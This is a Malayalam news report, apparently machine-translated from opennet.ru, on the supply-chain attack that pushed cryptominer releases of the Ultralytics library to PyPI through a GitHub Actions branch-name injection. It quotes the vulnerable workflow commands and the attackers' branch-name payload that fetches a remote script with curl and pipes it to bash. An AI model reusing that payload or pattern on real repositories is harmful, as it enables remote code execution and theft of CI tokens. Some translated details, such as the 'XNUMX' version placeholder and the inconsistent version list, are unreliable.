GitHub Actions ഹാൻഡ്‌ലറിലെ ഒരു പിശക് ക്ഷുദ്രകരമായ അൾട്രാലിറ്റിക്സ് റിലീസുകളുടെ പ്രസിദ്ധീകരണത്തിലേക്ക് നയിച്ചു

അൾട്രാലിറ്റിക്‌സ് പൈത്തൺ ലൈബ്രറി റിപ്പോസിറ്ററിയിൽ GitHub ആക്‌ഷൻസ് ഹാൻഡ്‌ലർ അവകാശങ്ങൾ ഉപയോഗിച്ച് കോഡ് എക്‌സിക്യൂട്ട് ചെയ്യാൻ ആക്രമണകാരികൾക്ക് കഴിഞ്ഞു, ഇത് ചിത്രങ്ങളിലെ ഒബ്‌ജക്റ്റുകൾ കണ്ടെത്തുന്നതും ഇമേജുകൾ സെഗ്‌മെൻ്റുചെയ്യുന്നതും പോലുള്ള കമ്പ്യൂട്ടർ കാഴ്ച പ്രശ്‌നങ്ങൾ പരിഹരിക്കാൻ ഉപയോഗിക്കുന്നു. റിപ്പോസിറ്ററിയിലേക്ക് പ്രവേശനം നേടിയ ശേഷം, ആക്രമണകാരികൾ PyPI ഡയറക്‌ടറിയിൽ നിരവധി പുതിയ Ultralytics റിലീസുകൾ പ്രസിദ്ധീകരിച്ചു, അതിൽ ക്രിപ്‌റ്റോകറൻസി ഖനനത്തിനായുള്ള ക്ഷുദ്ര മാറ്റങ്ങൾ ഉൾപ്പെടുന്നു. കഴിഞ്ഞ ഒരു മാസത്തിനിടെ, PyPI കാറ്റലോഗിൽ നിന്ന് Ultralytics ലൈബ്രറി 6.4 ദശലക്ഷത്തിലധികം തവണ ഡൗൺലോഡ് ചെയ്യപ്പെട്ടു.

റിപ്പോസിറ്ററിയിൽ വിട്ടുവീഴ്ച ചെയ്യാൻ, അൾട്രാലിറ്റിക്സ്-ആക്ഷൻ പാക്കേജിൽ ഒരു ദുർബലത ഉപയോഗിച്ചു, GitHub ആക്ഷൻസ് മെക്കാനിസം ഉപയോഗിച്ച് GitHub-ലെ ഒരു ശേഖരണത്തിൽ ചില പ്രവർത്തനങ്ങൾ നടത്തുമ്പോൾ ഹാൻഡ്‌ലറുകൾ സ്വയമേവ ലോഞ്ച് ചെയ്യാൻ ഇത് ഉപയോഗിക്കുന്നു. അൾട്രാലിറ്റിക്സ് പ്രോജക്റ്റിൽ, ദുർബലമായ ഹാൻഡ്‌ലർ pull_request_target ഇവൻ്റിലേക്ക് ബന്ധിക്കപ്പെട്ടിരിക്കുന്നു, പുതിയ പുൾ അഭ്യർത്ഥനകൾ വരുമ്പോൾ വിളിക്കപ്പെട്ടു. പ്രത്യേകിച്ചും, അയച്ച പുൾ അഭ്യർത്ഥനകളിലെ കോഡ് ഫോർമാറ്റ് ചെയ്യുന്നതിന്, format.yml ഹാൻഡ്‌ലറെ വിളിക്കുകയും action.yml ഫയലിൻ്റെ “റൺ” വിഭാഗത്തിൽ വ്യക്തമാക്കിയ കോഡ് എക്‌സിക്യൂട്ട് ചെയ്യുകയും ചെയ്തു, അതിൽ സബ്‌സ്റ്റിറ്റ്യൂഷൻ പാറ്റേണുകളുള്ള ഷെൽ കമാൻഡുകൾ അടങ്ങിയിരിക്കുന്നു: git pull original ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

അങ്ങനെ, പുൾ അഭ്യർത്ഥനയിൽ സൂചിപ്പിച്ച Git ബ്രാഞ്ചിൻ്റെ പേര് ശരിയായ രക്ഷപ്പെടാതെ ഷെൽ കമാൻഡുകളായി മാറ്റി. ഓഗസ്റ്റിൽ, അൾട്രാലിറ്റിക്‌സ്-ആക്ഷൻ പാക്കേജ്, എക്കോ ഫംഗ്‌ഷനിലെ ഒരു ബാഹ്യ മൂല്യത്തിൻ്റെ ഉപയോഗവുമായി ബന്ധപ്പെട്ട സമാനമായ കേടുപാടുകൾ ഇതിനകം പരിഹരിച്ചു എന്നത് ശ്രദ്ധേയമാണ്: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

GitHub ആക്‌ഷൻസ് ഹാൻഡ്‌ലറിൻ്റെ പശ്ചാത്തലത്തിൽ അവരുടെ കോഡിൻ്റെ നിർവ്വഹണം സംഘടിപ്പിക്കുന്നതിന്, ആക്രമണകാരികൾ അൾട്രാലിറ്റിക്‌സ് ശേഖരണത്തിലേക്ക് ഒരു പുൾ അഭ്യർത്ഥന അയച്ചു, ഇനിപ്പറയുന്നവ ബ്രാഞ്ച് നാമമായി വ്യക്തമാക്കുന്നു: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}ba)

അതനുസരിച്ച്, ഒരു പുൾ അഭ്യർത്ഥന ലഭിച്ചപ്പോൾ, ആക്രമണകാരി-നിർദ്ദിഷ്‌ട സ്ട്രിംഗ് “$(...)” കോഡിലേക്ക് ചേർത്തു, അത് ഹാൻഡ്‌ലർ പിന്നീട് സമാരംഭിച്ചപ്പോൾ, “curl -sSfL raw.githubusercontent” എന്ന കോഡ് നടപ്പിലാക്കുന്നതിലേക്ക് നയിച്ചു. com/…/file.sh | ബാഷ്".

റിപ്പോസിറ്ററി ആക്‌സസ് ടോക്കണും മറ്റ് സെൻസിറ്റീവ് ഡാറ്റയും ക്യാപ്‌ചർ ചെയ്യാൻ GitHub പ്രവർത്തനങ്ങളുടെ പശ്ചാത്തലത്തിൽ റൺ ചെയ്യുന്ന കോഡ് ഉപയോഗിക്കാം. GitHub പ്രവർത്തനങ്ങളിൽ അവരുടെ കോഡ് എക്‌സിക്യൂട്ട് ചെയ്യാനുള്ള കഴിവുള്ള ആക്രമണകാരികൾക്ക് എങ്ങനെ ഒരു റിലീസ് സൃഷ്ടിക്കാൻ കഴിഞ്ഞു എന്നത് ഇതുവരെ വ്യക്തമായിട്ടില്ല, ഇത് public.yml ഹാൻഡ്‌ലറിലെ മാറ്റം മൂലമാണെന്ന് അനുമാനിക്കപ്പെടുന്നു (ആക്രമണക്കാർ അതിൻ്റെ സ്ഥിരീകരണം നീക്കം ചെയ്തു; PyPI-യിൽ റിലീസുകൾ പ്രസിദ്ധീകരിക്കാൻ അനുവാദമുള്ള അക്കൗണ്ട്) കൂടാതെ റിലീസിലേക്ക് നിങ്ങളുടെ ഡാറ്റ ചേർക്കുന്നതിന് GitHub പ്രവർത്തനങ്ങൾ ബിൽഡ് കാഷെ വിഷലിപ്തമാക്കുന്ന സാങ്കേതികവിദ്യയുടെ ഉപയോഗവും.

അൾട്രാലിറ്റിക്സ് 8.3.41 ന്റെ ആദ്യ ക്ഷുദ്ര പതിപ്പ് ഡിസംബർ 4 ന് രാത്രി 23:51 ന് (MSK) PyPI-യിൽ ആക്രമണകാരികൾ പ്രസിദ്ധീകരിച്ചു, അടുത്ത ദിവസം ഉച്ചയ്ക്ക് 12:15 ന് നീക്കം ചെയ്തു. ഉച്ചയ്ക്ക് 15:47 ന്, മറ്റൊരു പതിപ്പ്, 8.3.42, പോസ്റ്റ് ചെയ്ത് 16:47 ന് നീക്കം ചെയ്തു. അങ്ങനെ, ക്ഷുദ്ര പതിപ്പുകൾ ഏകദേശം 13 മണിക്കൂർ ഡൗൺലോഡ് ചെയ്യാൻ ലഭ്യമായിരുന്നു (PyPI പ്രതിദിനം ഏകദേശം 250 അൾട്രാലിറ്റിക്സ് ലൈബ്രറി ഡൗൺലോഡുകൾ രേഖപ്പെടുത്തുന്നു). 8.3.41, 8.3.42 പതിപ്പുകളിൽ ഒരു ബാഹ്യ ഫയലിൽ നിന്ന് ഡൗൺലോഡ് ചെയ്ത കോഡ് അടങ്ങിയിരിക്കുന്നു. സെർവർ ക്രിപ്‌റ്റോകറൻസി മൈനിംഗിനുള്ള XMRig ഘടകം.

പ്രോജക്റ്റ് ഡെവലപ്പർമാർ പ്രശ്നം പരിഹരിച്ച് തിരുത്തൽ റിലീസുകൾ 8.3.43, 8.3.44 എന്നിവ സൃഷ്ടിച്ചു, എന്നാൽ രണ്ട് ദിവസത്തിന് ശേഷം മറ്റൊരു ആക്രമണം നടത്തി, ഈ സമയത്ത് ആക്രമണകാരികൾ ഇന്ന് 04:41 നും 05:27 നും രണ്ട് അധിക ക്ഷുദ്ര റിലീസുകൾ പ്രസിദ്ധീകരിച്ചു (MSK) - 8.3.45. 8.3.46, 8.3.44, ഇതിൽ മറ്റ് മൈനിംഗ് കോഡ് ഉൾപ്പെടുന്നു. അന്വേഷണത്തിൻ്റെ അവസാനം വരെ, പുതിയ പതിപ്പുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നത് നിർത്തിവയ്ക്കാനും റിലീസ് XNUMX ഡിപൻഡൻസിയായി പരിഹരിക്കാനും ഉപയോക്താക്കളോട് നിർദ്ദേശിക്കുന്നു.

അവലംബം: opennet.ru